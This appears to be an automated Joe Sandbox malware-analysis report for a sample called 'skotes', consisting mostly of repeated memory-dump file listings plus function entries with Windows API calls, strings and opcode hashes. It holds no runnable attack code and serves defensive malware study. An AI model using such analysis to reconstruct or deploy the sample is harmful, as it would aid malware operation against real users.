Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: d6800c718975317522c5432d59a5017c52d889f9175ce43a498dc75254951f2a
Instruction ID: 76429c7ddc5e87b7243de76603b700549196a5bb77836fc2c2ff9e6857f89633
Opcode Fuzzy Hash: d6800c718975317522c5432d59a5017c52d889f9175ce43a498dc75254951f2a
Instruction Fuzzy Hash: D3A1F132A041588FDF19EF6CC891BAE3BE1EB57324F14019DE812BF292DA759D12CB51

Function 00BC26F2 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00BD6758), ref: 00BC275C

Strings

Eastern Standard Time, xrefs: 00BC27CB
Eastern Summer Time, xrefs: 00BC27FA

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: a3d0da996c8f9a3ceaf568941e307952a0d42085f947101c4d051c56c57b2903
Instruction ID: 104ffe30ad28a0432106d52b0b412f5222fd28666eb13bde13b2c6614a3cd91b
Opcode Fuzzy Hash: a3d0da996c8f9a3ceaf568941e307952a0d42085f947101c4d051c56c57b2903
Instruction Fuzzy Hash: 7051E571900255ABDB10EF69CCC1EAE77F8EF54360B1402EEE550A71A1EB709E458B60

Function 00B87590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,670DF653,?,00000000,00BC9138,000000FF), ref: 00B875CC
CreateThread.KERNEL32(00000000,00000000,00B87430,00BE8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00B876BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B876C9

Part of subcall function 00B9D0C7: RtlWakeAllConditionVariable.NTDLL ref: 00B9D17B

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: a0357cf88c6af057a4ff1e96642e2c8afd17152151adfcdba78d939042529dee
Instruction ID: 4f84373e50d344a6b064cd68e95b4a49e653ca6c4dc2f6abf25c3333df4df6b5
Opcode Fuzzy Hash: a0357cf88c6af057a4ff1e96642e2c8afd17152151adfcdba78d939042529dee
Instruction Fuzzy Hash: 2D51C171240688AFEB14DF28DC85B9C3BE5EB45308F6046A9F8199B3E1CF79D880CB51

Function 00BB6FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00BB6EE6), ref: 00BB6FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00BB7030
__dosmaperr.LIBCMT ref: 00BB70C5

Part of subcall function 00BB732A: __dosmaperr.LIBCMT ref: 00BB735F

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: 68f9ba092d37b2f0326d5e42bed0c42c5bf42cd6fca3db2b431ebe0a88c3e6d1
Instruction ID: 99417d78e0efdbe50d9347c6594bff7e5916b953b7a5bea755912c6a71361083
Opcode Fuzzy Hash: 68f9ba092d37b2f0326d5e42bed0c42c5bf42cd6fca3db2b431ebe0a88c3e6d1
Instruction Fuzzy Hash: 1D414A71944604ABDB24EFB5DC419FFBBF9EF89300B10456AF856E3611EA70A900DB21

Function 00B89BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B89BA8
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392255845.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393813092.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393871645.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3393943100.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394423465.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394489705.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394550960.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394608742.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3394925292.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395909524.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3395978087.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397711898.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397793080.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397852533.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397923271.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3397985271.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398039211.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398087705.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398142318.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398193052.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398251077.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398309435.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398402608.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398457685.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398507275.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398560517.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398615587.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398686397.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398760073.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398823301.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398883662.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3398957010.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399019622.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399080155.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399220623.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399282452.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399329890.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399380274.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399427278.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399474378.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399516797.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3399569697.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: bb75bfbf1d009bc0be0888191ce62659205189ddafb86b9788161f12736af1a2
Instruction ID: dc662c964dcb9856573e03de26cea32cbd294a360806685057b1af4bbde1fbac
Opcode Fuzzy Hash: bb75bfbf1d009bc0be0888191ce62659205189ddafb86b9788161f12736af1a2
Instruction Fuzzy Hash: 4D3128316042049BFF08EB78DDC9B6DBBE2EBC6314F2482A9E015973E5C7769980CB51

Function 00B89CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00B89CDD
Sleep.KERNEL32(00000064,?), ref: 00B8A963
CreateMutexA.KERNEL32(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000006.00000002.3391709308.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3391127329.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3391709308.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392040119.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3392143183.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
